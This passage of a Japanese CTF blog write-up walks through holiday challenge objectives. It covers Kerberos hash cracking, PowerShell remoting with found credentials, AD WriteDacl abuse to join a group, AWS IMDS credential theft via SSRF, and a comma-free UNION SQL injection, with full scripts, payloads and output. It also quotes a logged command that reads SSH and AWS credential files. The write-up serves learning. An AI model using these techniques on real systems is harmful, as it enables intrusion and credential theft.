c9de2e02300bb8a75cb63926683fab279afdb4acd86921066f62f59258fc957b98a255f5f9bd95d072383ae6f1ef09b83374eb657b9ae93920c9a3ef4971cc2edc185ca24898d0d51817bfb82edc7247a39ae2e548471343c23189792be58a255a6b4c15fc211a210a29aac83a2d263f06c5ea3f6fedc908b75eb454e0b665d8a0a037290862e4f7f55bba149313726b4c829813b7c2306b4a7afee265fecff426a1c989befb84b5374cd5d97fec8bfd609eeb60d72109c882776cb9ace7ad0be6ba20df7286076a3467285dfde108265b9997dd9f7930ff64690c764f08a608ffe25990ef97877f784667ea07e01f8a730ca4608b3da4012850be32016878bd03cb1d9c34e115517dda5d5d794a0d8845f75f70710783f2aa54ad5f8d8ba1c32df9ea3659ded4f71979a896e8e3f1333ce08ab1813043040396ad25cee8d332ecdc148a5055128d45330e53f994890a36fac3abcaec1ab7c033315c4f7365a4cab93888e7a4e821c5e265f3827a5cf500f51d93ff4bacd7c9b34d40d155ad1bacbc2902f0287cfb6cd15c4aa8b8566a2b977345d36a66240dcc46e7be61741e32fd3135f3bab51b3151447e50286da1211ec8c845e3b65050e5bb792fa2ccc4d20544644dd4b4717f981be3518:Snow2021!
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, TGS-REP
Hash.Target......: $krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_sv...be3518
Time.Started.....: Fri Dec 31 10:57:33 2021, (5 secs)
Time.Estimated...: Fri Dec 31 10:57:38 2021, (0 secs)
Guess.Base.......: File (cewl.log)
Guess.Mod........: Rules (password_cracking_rules/OneRuleToRuleThemAll.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   580.2 kH/s (33.58ms) @ Accel:8 Loops:256 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 3186203/4055610 (78.56%)
Rejected.........: 51995/3186203 (1.63%)
Restore.Point....: 0/78 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:40448-40704 Iteration:0-256
Candidates.#1....: The0307 -> cimes

Started: Fri Dec 31 10:57:29 2021
Stopped: Fri Dec 31 10:57:40 2021

crack成功しました!これで、下記Userのnameとpasswordをゲット。

username: elfu_svc
password: Snow2021!

このユーザー、さっき rpcclient で一覧したときに出てきていました。更に、smbclient でshareを確認した時、この名前のshareがあったはず。ということでそのshareにアクセスしてみます。

$ smbclient -U 'elfu_svc' \\\\10.128.3.30\\elfu_svc_shr
smb: \> ls
...(omit)
smb: \> get  GetProcessInfo.ps1
getting file \GetProcessInfo.ps1 of size 699 as GetProcessInfo.ps1 (682.6 KiloBytes/sec) (average 682.6 KiloBytes/sec)

スクリプトがたくさん置いてありましたが、ヒント動画で使っていたのと同じ名前のスクリプトがあったのでダウンロードしてみました。中身を見てみます。

$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
...(ommit)

おお、これは remote_elf のクレデンシャル情報!
ヒントリンクのAdded bonus, here is how you can Enter-PSSession into a remote computer: のコードを参考に、remote_elfのクレデンシャルでRemoteSessionを張るスクリプト remote_session.ps1 を作成。

$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
Enter-PSSession -ComputerName 10.128.1.53 -Credential $aCred -Authentication Negotiate

このスクリプトをPowerShellで実行すると、

$ pwsh
PS /home/{usernmae}> ./remote_session.ps1
[10.128.1.53]: PS C:\Users\remote_elf\Documents> 

接続に成功しました!
この remote_elf で先程の elfu_svc で見れなかったshare //10.128.3.30/research_dep が見れるかと思ったけどそうはいかず。

もう一度 share名と、group, userをよく見てみた所、ResearchDepartment groupのメンバーになると research_dep が見れそうな気がします。testuserや、いくつかの動的に作成されたっぽいUserがこのGroupに入っているのでとても怪しい。

このGroupの情報を見てみます。 powershell

[10.128.1.53]: PS C:\Users\remote_elf\Documents> Get-ADGroup ResearchDepartment
DistinguishedName : CN=Research Department,CN=Users,DC=elfu,DC=local
GroupCategory     : Security
GroupScope        : Global
Name              : Research Department
ObjectClass       : group
ObjectGUID        : 8dd5ece3-bdc8-4d02-9356-df01fb0e5f3d
SamAccountName    : ResearchDepartment
SID               : S-1-5-21-2037236562-2033616742-1485113978-1108

CNがわかりました。
ヒント動画で次にやっていたように、このGroupの情報をとってきます。

$ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])

実行結果(抜粋)

ActiveDirectoryRights : WriteDacl
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\remote_elf
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

remote_elf はこのGroupに対して WriteDacl の権限を持っているようです!素晴らしい!
では、chrisdのスクリプトを参考に、userにこのGroupの "GenericAll" permission を付与します。

Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "{username}"
$nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
$propGUID = [guid]'00000000-0000-0000-0000-000000000000'
$IdentityReference = (New-Object System.Security.Principal.NTAccount("elfu.local\$username")).Translate([System.Security.Principal.SecurityIdentifier])
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$secOptions = $domainDirEntry.get_Options()
$secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
$domainDirEntry.RefreshCache()
$domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()

これを実行してしばらくしてGroupを確認すると、

$ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])

...(omit)

ActiveDirectoryRights : GenericAll
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\{username}
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

付与されました!
その後、remote_elfにてこちらのスクリプトを参考に、userを Research Department group に追加します。

Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "{username}"
$password = "{password}"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
$user = New-Object System.Security.Principal.NTAccount("elfu.local\$username")
$sid=$user.Translate([System.Security.Principal.SecurityIdentifier])
$b=New-Object byte[] $sid.BinaryLength
$sid.GetBinaryForm($b,0)
$hexSID=[BitConverter]::ToString($b).Replace('-','')
$domainDirEntry.Add("LDAP://<SID=$hexSID>")
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()

実行後、またしばらくして rpcclient で情報をとってみます。

$ rpcclient 10.128.1.53
Enter WORKGROUP\{username} password: 
rpcclient $> querygroupmem 0x454  // Research Department
    rid:[0x60f] attr:[0x7]
    rid:[0x610] attr:[0x7]
    rid:[0x613] attr:[0x7]
    rid:[0x618] attr:[0x7]
    rid:[0x61b] attr:[0x7]
    rid:[0x61e] attr:[0x7]  -> it was me!

Groupに追加されました!
smbclient で先程気になったshareを確認してみます。

$ smbclient -U '{username}' \\\\172.17.0.3\\research_dep
Enter WORKGROUP\{username}'s password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Dec  2 16:39:42 2021
  ..                                  D        0  Fri Dec 31 08:01:26 2021
  SantaSecretToAWonderfulHolidaySeason.pdf      N   173932  Thu Dec  2 16:38:26 2021

        41089256 blocks of size 1024. 33388056 blocks available
smb: \> get SantaSecretToAWonderfulHolidaySeason.pdf
getting file \SantaSecretToAWonderfulHolidaySeason.pdf of size 173932 as SantaSecretToAWonderfulHolidaySeason.pdf (56616.6 KiloBytes/sec) (average 56618.5 KiloBytes/sec)

なんか怪しいPDFがあったのでDLしてみます。
PDFを閲覧するGUIが無いのと、この端末(必ずgradeアプリが立ち上がる)上でのscpの方法がわからなかったので、コピペできるようbase64 encodeして表示してみました。

$ cat SantaSecretToAWonderfulHolidaySeason.pdf | base64  
JVBERi0xLjMKJcTl8uXrp/Og0MTGCjMgMCBvYmoKPDwgL0ZpbHRlciAvRmxhdGVEZWNvZGUgL0xl
bmd0aCA0OTc5ID4+CnN0cmVhbQp4AbWc23LkyHGG7/EUsGd2SO5MNxvHblhryZZ2tZJ8Y0cwQhem
LhwTK8uOGcu7Y7+/v78yARSqwCXQpGMi2NOFQlYe/jxUotA/lv9S/lje/+ZLVX78Up7Cvy8fGTod
...(omit)

自分のマシン上でこれをbase64 decodeすると、PDFファイルが取得・閲覧できました。

f:id:kusuwada:20220106223712p:plain

この内容と問題文を読むと、答えはリストの先頭のワードでした。

Windows(PowerShell)系、AD系はさっぱり初心者だったのですが、なんとかTalkの動画やヒント、親切な参考スクリプトのおかげでたどり着けました。めちゃめちゃ時間がかかったので、凄い達成感!

9) Splunk!

Help Angel Candysalt solve the Splunk challenge in Santa's great hall. Fitzy Shortstack is in Santa's lobby, and he knows a few things about Splunk. What does Santa call you when when you complete the analysis?

去年のsplunk challengeと似ている。去年やったから今年はすんなり行けるかな?

f:id:kusuwada:20220106223824p:plain

以下、サンプルクエリへのリンクが張ってありました。親切!

Sample Splunk Searches

  1. Sysmon for Linux - All events

  2. Sysmon for Linux - Process creation

  3. Sysmon for Linux - Network connection

  4. Sysmon for Linux - Using Splunk stats and sort commands to find most/least common value of a field.

  5. GitHub Audit Log Events

  6. GitHub Webhook Events (Includes detailed vulnerability alerts.)

Task 1

Capture the commands Eddie ran most often, starting with git. Looking only at his process launches as reported by Sysmon, record the most common git-related CommandLine that Eddie seemed to use.

もともと画面に入っていたクエリが

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational

ここに、gitのコマンド

| search "git "

を追加して、左位のペインの CommandLine をクリックすると、後続のコマンドを頻出順に表示してくれました。

f:id:kusuwada:20220106223754p:plain

ということで答えは一番上の git status

Task 2

Looking through the git commands Eddie ran, determine the remote repository that he configured as the origin for the 'partnerapi' repo. The correct one!

今度は

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational
| search "git remote add"

のクエリで検索してみると、こんなコマンドが引っかかりました。

CommandLine = git remote add origin git@github.com:elfnp3/partnerapi.git

このgit@以降の部分が答え。

Task 3

The 'partnerapi' project that Eddie worked on uses Docker. Gather the full docker command line that Eddie used to start the 'partnerapi' project on his workstation.

docker run などのワードで引っかからなかったので、up のワードで探すとCommandLineが2つ引っかかりました。そのうち1つが

CommandLine = docker compose up

だったのでコレが答え。docker compose使ってるんですね。

Task 4

Eddie had been testing automated static application security testing (SAST) in GitHub. Vulnerability reports have been coming into Splunk in JSON format via GitHub webhooks. Search all the events in the main index in Splunk and use the sourcetype field to locate these reports. Determine the URL of the vulnerable GitHub repository that the elves cloned for testing and document it here. You will need to search outside of Splunk (try GitHub) for the original name of the repository.

左のペインの sourcetype をクリックすると、 8個の値がありました。問題文から github_json が怪しいかもなということでこれをクリックしてみます。

いくつか履歴が出てきましたが、先程出てきたリポジトリ以外のものは elfnp3/dvws-node のみのようです。githubのページで elfnp3 をユーザー検索してみます。

https://github.com/elfnp3

うーん、かわいい。
https://github.com/elfnp3/dvws-node

f:id:kusuwada:20220106223747p:plain:w300

このelfnp3/dvws-nodeリポジトリのページの左上にどのリポジトリからforkしてきたものかが書いてあるので、そのリポジトリのurlが答え。

Task 5

Santa asked Eddie to add a JavaScript library from NPM to the 'partnerapi' project. Determine the name of the library and record it here for our workshop documentation.

index=main | search "npm "

でクエリをかけてみると、いくつかCommandLineの履歴が出てきました。また左のペインの CommandLine を見てみると

f:id:kusuwada:20220106223802p:plain

CommandLine = /usr/bin/env node /usr/bin/npm install holiday-utils-js

という怪しげなのがあります。このツール名が答え。

Task 6

Another elf started gathering a baseline of the network activity that Eddie generated. Start with their search and capture the full process_name field of anything that looks suspicious.

問題文中のリンク先のsplunkには、

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=3 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) 
| stats count by dest_ip dest_port

というクエリが既に入っています。

2つのipが結果として出てきており、一つはgitなので除外。もう一つの dest_ip="54.175.69.219" の方をクリックして、左ペインから process_name を見てみると /usr/bin/nc.openbsd でした。コレが答え。

Task 7

Uh oh. This documentation exercise just turned into an investigation. Starting with the process identified in the previous task, look for additional suspicious commands launched by the same parent process. One thing to know about these Sysmon events is that Network connection events don't indicate the parent process ID, but Process creation events do! Determine the number of files that were accessed by a related process and record it here.

先程の parent process は /bin/bash, parent process id は 6788

main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational | search parent_process_id=6788

でクエリをかけると、先程のnc以外に

cat /home/eddie/.aws/credentials /home/eddie/.ssh/authorized_keys /home/eddie/.ssh/config /home/eddie/.ssh/eddie /home/eddie/.ssh/eddie.pub /home/eddie/.ssh/known_hosts

というコマンドが見つかりました。6個のファイルを出力したみたいです。答えは6。

Task 8

Use Splunk and Sysmon Process creation data to identify the name of the Bash script that accessed sensitive files and (likely) transmitted them to a remote IP address.

先程のbashのプロセスIDで検索してみます。

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 | search process_id=6788

ここで出てきた履歴(1件)を開いて詳細を見ていくと

f:id:kusuwada:20220106223807p:plain

parent_process: /bin/bash preinstall.sh と書いてありました。このスクリプト名が答え!

全部クリアすると、問題ページのトップにバナーが表示されます。

f:id:kusuwada:20220106223736p:plain

※一応Objectiveの答えそのままなので消しておきました。
ここでSantaになんと呼ばれているかを入れるとObjective9クリアです。

10) Now Hiring!

What is the secret access key for the Jack Frost Tower job applications server? Brave the perils of Jack's bathroom to get hints from Noxious O. D'or.

ジャックタワーのトイレに行きます。金ピカの便座がある。ワオ。(役員用のトイレらしい)
Noxious O. D'or に話しかけると、そばの端末(IMDS Exploration)をクリアすればObjectiveのヒントをくれるらしい。端末のwriteupは端末側(terminal)に掲載

terminalの課題をクリアしてもらったヒントはこちら。

AWS IMDS Documentation: The AWS documentation for IMDS is interesting reading.

AWS IMDS ドキュメントへのリンクだ。
先程やったIMDS関連の問題のようだ。採用案内ページはこちら。

f:id:kusuwada:20220106223841p:plain

採用申し込みページに飛ぶと、名前・アドレス・電話番号・得意分野・レジュメ, etc... を埋めて提出するフォームが現れます。

色々試してみたところ、

  • Nameが必須項目・かつ特殊文字を受け付けないようになっている
  • Resumeでファイルを開くUIになっているが、実際送るのはファイル名のみ

ということがわかりました。
フォームを埋めてSubmitすると "Submission Accepted" という文言とともに

f:id:kusuwada:20220106223833p:plain

こんなページが現れ、真ん中の潰れて見えなくなっている画像のところに "URL to your public NLBI report" フィールドに入れた IMDSエクスプロイトの結果が書かれて出てきます。
この画像は、上のフォームで入力したNameに関連して /images/{Name}.jpg として生成されるようです。これを利用して、まずはテスト。

http://169.254.169.254/latest/meta-data/ の結果は

$ cat kusuwada_test.jpg 
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/ami
block-device-mapping/ebs0
block-device-mapping/ephemeral0
block-device-mapping/root
block-device-mapping/swap
elastic-inference/associations
elastic-inference/associations/eia-bfa21c7904f64a82a21b9f4540169ce1
events/maintenance/scheduled
events/recommendations/rebalance
hostname
iam/info
iam/security-credentials
iam/security-credentials/jf-deploy-role
instance-action
instance-id
instance-life-cycle
instance-type
latest
latest/api/token
local-hostname
local-ipv4
mac
network/interfaces/macs/0e:49:61:0f:c3:11/device-number
network/interfaces/macs/0e:49:61:0f:c3:11/interface-id
network/interfaces/macs/0e:49:61:0f:c3:11/ipv4-associations/192.0.2.54
network/interfaces/macs/0e:49:61:0f:c3:11/ipv6s
network/interfaces/macs/0e:49:61:0f:c3:11/local-hostname
network/interfaces/macs/0e:49:61:0f:c3:11/local-ipv4s
network/interfaces/macs/0e:49:61:0f:c3:11/mac
network/interfaces/macs/0e:49:61:0f:c3:11/owner-id
network/interfaces/macs/0e:49:61:0f:c3:11/public-hostname
network/interfaces/macs/0e:49:61:0f:c3:11/public-ipv4s
network/interfaces/macs/0e:49:61:0f:c3:11/security-group-ids
network/interfaces/macs/0e:49:61:0f:c3:11/security-groups
network/interfaces/macs/0e:49:61:0f:c3:11/subnet-id
network/interfaces/macs/0e:49:61:0f:c3:11/subnet-ipv4-cidr-block
network/interfaces/macs/0e:49:61:0f:c3:11/subnet-ipv6-cidr-blocks
network/interfaces/macs/0e:49:61:0f:c3:11/vpc-id
network/interfaces/macs/0e:49:61:0f:c3:11/vpc-ipv4-cidr-block
network/interfaces/macs/0e:49:61:0f:c3:11/vpc-ipv4-cidr-blocks
network/interfaces/macs/0e:49:61:0f:c3:11/vpc-ipv6-cidr-blocks
placement/availability-zone
placement/availability-zone-id
placement/group-name
placement/host-id
placement/partition-number
placement/region
product-codes
public-hostname
public-ipv4
public-keys/0/openssh-key
reservation-id
security-groups
services/domain
services/partition
spot/instance-action
spot/termination-time

使用されているIAMロールを出力する http://169.254.169.254/latest/meta-data/iam/security-credentials

の結果は、

$ cat kusuwada_role.jpg 
jf-deploy-role

クレデンシャル取得 http://169.254.169.254/latest/meta-data/iam/security-credentials/jf-deploy-role

の結果は、

$ cat kusuwada_secret.jpg 
{
    "Code": "Success",
    "LastUpdated": "2021-05-02T18:50:40Z",
    "Type": "AWS-HMAC",
    "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
    "SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
    "Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
    "Expiration": "2026-05-02T18:50:40Z"
}

このSecretAccessKeyが答え👍
他の人が生成したimageも見れてしまうので、なんとなく勘で /images/secret.jpg とか入れてみると同じ名前で攻撃成功したjpgが降ってきたりした。

11) Customer Complaint Analysis

A human has accessed the Jack Frost Tower network with a non-compliant host. Which three trolls complained about the human? Enter the troll names in alphabetical order separated by spaces. Talk to Tinsel Upatree in the kitchen for hints.

パケットキャプチャファイルがDLできるリンクが提示されています。
全部で約600行。この量ならヒントなしでも解けそう。

パケットを眺めていると、アンケートフォームをPOSTする際のbodyに投稿者の名前が含まれていそうなので、

http.request.method == "POST"

でパケットをフィルタしてNameを見ていきます。

f:id:kusuwada:20220106223856p:plain

これで16個に絞れたので、中身を見ながら人間に苦情を投稿している3人を探していきます。
"human"や"network" という単語は検索に引っかからず、苦情の文言自体もネットワーク関連のものが見当たりません。
その代わり、POSTの中身に苦情元のguest_idと、タイトルに大体どのroomのお客さんからの苦情かが入っているので、ちょうど三人から苦情が来ている room 1024 の人が怪しそう。よく見てみると、この room 1024 のお客さん(L384 で自信も投稿している)の troll_id がおかしなことになっている。この人が怪しい。
ということで、room1024に苦情を言っている3人をアルファベット順に並び替えると正解。

Flud Hagg Yaqh

12) Frost Tower Website Checkup

Investigate Frost Tower's website for security issues). This source code will be useful in your analysis. In Jack Frost's TODO list, what job position does Jack plan to offer Santa? Ribb Bonbowford, in Santa's dining room, may have some pointers for you.

webのソースコードがzipで配布されます。

$ tree frosttower-web -L 1
frosttower-web
├── country.json
├── custom_modules
├── server.js
├── sql
└── webpage

とても多い…。これは見るところを絞ったほうが良さそう。
ヒントをくれるダイニングのターミナルを攻略すると、こんな情報が得られました。

SQL Injection with Source: When you have the source code, API documentation becomes tremendously valuable.

どうやらSQL injection 問題っぽい。
問題のwebサイトを訪れてみると、クリスマスまで?のカウントが始まっているのと、emailを入力するフォームがあります。

f:id:kusuwada:20220106223912p:plain

server.jsを見てみると、他にも /login/search など、色々pathがあるっぽい。検索系のページはログインしないと触れないようだ。

Admin系のAPIを眺めてみると、 session.userstatus == 1 のときしか実行できないようになっている。これがadminのuserstatusっぽい。

まずは、コードを読んだりサイトをつついたりして各APIの挙動と必要な権限を整理します。

* GET  /             # any session
* GET  /testsite     # any session
* POST /testsite     # no session
* GET  /contact      # any session
* POST /postcontact  # any session
* GET  /detail/:id   # need login
* GET  /edit/:id     # need login
* POST /edit/:id     # need login
* POST /delete/:id   # need admin login
* GET  /search       # need login
* POST /search       # need login
* POST /export       # need login
* GET  /login        # no session
* POST /login        # any session
* GET  /redirect     # any session
* GET  /logout       # any session
* GET  /dashboard    # need login
* GET  /adduser      # need admin login
* POST /adduser      # need admin login
* GET  /userlist     # need admin login
* GET  /useredit/:id    # need admin login
* POST /useredit/:id    # need admin login
* POST /userdelete/:id  # need admin login
* GET  /forgotpass   # no session
* POST /forgotpass   # no session
* GET  /forgotpass/token/:id  # no session
* POST /forgotpass/token/:id  # no session

多い…!これ全部見るのしんどいな…。
判明しているtableは、sql/encontact_db.sqlより、

  • uniquecontact // お問合せ元情報
  • users // 管理運用アカウント
  • emails // テストサイトで使用

ここにtodoリストは載っていなさそうだけど、それぞれのテーブルのスキーマがわかるのでありがたい。

全体としてはおそらく、何かしらでログインに成功した状態にして、SQL injectionという流れだと思われるので、まずはsession系のコード周り中心に怪しいところがないか、もう一度server.jsをよーーーーく見てみます。

/postcontact APIの

    tempCont.query("SELECT * from uniquecontact where email="+tempCont.escape(email), function(error, rows, fields){

        // omitted error process

        var rowlength = rows.length;
        if (rowlength >= "1"){
            session = req.session;
            session.uniqueID = email;
            req.flash('info', 'Email Already Exists');
            res.redirect("/contact");

        } 

ここの部分が怪しい。uniquecontactに登録するemailを探して、すでに登録されていた場合、なぜか session.uniqueID = email; とsessionのuniqueIDに登録用emailを入れてしまっている。このフローを通れば、session.uniqueID があれば誰でも使えるAPIは使えちゃいそう。

下記の手順で検証してみます。

  • contact formで、テストユーザーを登録
  • 同じユーザーをもう一度登録 -> session.uniqueID に値が入る
  • /dashboardに移動

dashboardの画面が表示され、ここで検索(/search API)が使えるようになりました!

次に、SQL injectionできそうな箇所を探してみます。/searchAPIは色々試してみたけれどもescape機能が適切に働いているようでinjectionならず。今度はSQL関連のヒントサイトのREADMEをよーーーーく読んでみます。
特に、escape機能を回避する事ができないかと念じて読んでいると、下記記述を発見。

To generate objects with a toSqlString method, the mysql.raw() method can be used. This creates an object that will be left un-touched when using in a ? placeholder, useful for using functions as dynamic values:

Caution The string provided to mysql.raw() will skip all escaping functions when used, so be careful when passing in unvalidated input.

mysql.raw()はエスケープ処理をスキップしてくれるらしい!
コード中(server.js)に使われてるところがないか探してみます。

app.get('/detail/:id', function(req, res, next) {
    session = req.session;
    var reqparam = req.params['id'];
    var query = "SELECT * FROM uniquecontact WHERE id=";

    if (session.uniqueID){

        try {
            if (reqparam.indexOf(',') > 0){
                var ids = reqparam.split(',');
                reqparam = "0";
                for (var i=0; i<ids.length; i++){
                    query += tempCont.escape(m.raw(ids[i]));
                    query += " OR id="
                }
                query += "?";
            }else{
                query = "SELECT * FROM uniquecontact WHERE id=?"
            }

idsm.raw()で処理されています!ここが怪しい。
/detail APIなので、admin権限も必要なく使えるはず。試してみます。

/detail/12 を表示すると No.12 の情報が、 /detail/12,13 のようにカンマ区切りで指定すると、No.12と13二人分の情報が出てきました。この脆弱性はカンマ区切りで値を指定したときだけ発動するので、下記のようにクエリを作ったときにescapeをスキップしてくれる。(queryの最後は、カンマ区切りでidを指定したときは"0"固定にされる)

SELECT * FROM uniquecontact WHERE id={id[0]} OR id={id[1]} ... OR id=0 

試しに下記のクエリになるよう、/detail/0,0 OR 1=1--を入れると、全員分のデータが出てきました!他のAPIでは弾かれていたクエリが刺さってます👍

SELECT * FROM uniquecontact WHERE id=0 OR id=0 OR 1=1-- OR id=0 

今回は他のtableから情報を引っ張ってくる必要がありそうなので、UNION SELECTも試してみます。

SELECT * FROM uniquecontact WHERE id=0,0 union select * from users-- OR id=0 

sqlとしては通ったようですが、表示する際に型エラーが発生しました。

TypeError: /app/webpage/detail.ejs:29
    27|                             -
    28|                         <% }else { %>
 >> 29|                             <%= dateFormat(encontact.date_update, "mmmm dS, yyyy h:MM:ss") %>
    30|                         <% } %>                     
    31|                         </li>
    32|                     </ul>

uniquecontactusers tableで、カラム数は一致しているものの最後のカラムの型が違うことに起因したエラーです。型とカラム数に気をつけないと。

今度は型とカラムを合わせた UNION SELECT のテストとして、

SELECT * FROM uniquecontact WHERE id=0,0 UNION SELECT 1,"a","b","c","d",NULL,NULL-- OR id=0

となるようにクエリパラメータを組んで送ってみます。

/detail/0,0 UNION SELECT 1,"a","b","c","d",NULL,NULL--

が、Internal Server Error発生。よく考えてみると、SQLとして処理される前に、クエリパラメータとしてコンマが処理されてしまっているので、idsに

ids = [0, 0 UNION SELECT 1, "a", "b", "c", "d", NULL, NULL--]

とコンマ区切りで収納されてしまっているのでした。これはコンマを回避してクエリを組み立てるしかない!
ということで、いつのお世話になっている

PayloadsAllTheThings/SQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub

のサイトの No Comma を参考にクエリを組み替えてみます。

SELECT * FROM uniquecontact WHERE id=0,0 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT "a")b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g-- OR id=0

とても長いけど、これを送ると結果が帰ってきました!

/detail/0,0 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT "a")b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--

f:id:kusuwada:20220106223917p:plain

これで欲しい値を自由に手に入れられそう!!!
まずは、information_schema.tables を使って、table一覧を取得します。返り値はcharのはずなので、full_nameの場所に入れます。

主要SQL部分

SELECT table_name from information_schema.tables WHERE TABLE_TYPE = 'BASE TABLE' limit 1 offset 0

送ったURLパラメータ

/detail/0,1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT table_name from information_schema.tables WHERE TABLE_TYPE = 'BASE TABLE' limit 1 offset 0)b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--

これでoffsetをずらしていくと、下記のtableリストが得られました。

  • tables(base_table)
    • users
    • todo
    • emails
    • uniquecontact

todoというテーブルがあるらしい。では次は、このテーブルのカラム情報を information_schema.COLUMNSを使って取得します。

主要SQL部分

SELECT COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = 'todo' limit 1 offset 0

送ったURLパラメータ

/detail/0,1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = 'todo' limit 1 offset 0)b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--

これまたoffsetをずらしていくと、以下のカラム情報が得られました。

  • columns(todo)
    • id
    • note
    • completed

問題からして、このnoteをチェックしていけば答えが書いてありそう。

主要SQL部分

SELECT note from todo limit 1 offset 0

送ったURLパラメータ

/detail/0,0 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT note from todo limit 1 offset 0)b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--

全部のnoteを取得すると、こうなりました。たくさん悪いこと考えてますね。

  • note
    • Buy up land all around Santa's Castle
    • Build bigger and more majestic tower next to Santa's
    • Erode Santa's influence at the North Pole via FrostFest, the greatest Con in history
    • Dishearten Santa's elves and encourage defection to our cause
    • Steal Santa's sleigh technology and build a competing and way better Frosty present delivery vehicle
    • Undermine Santa's ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem
    • Force Santa to cancel Christmas
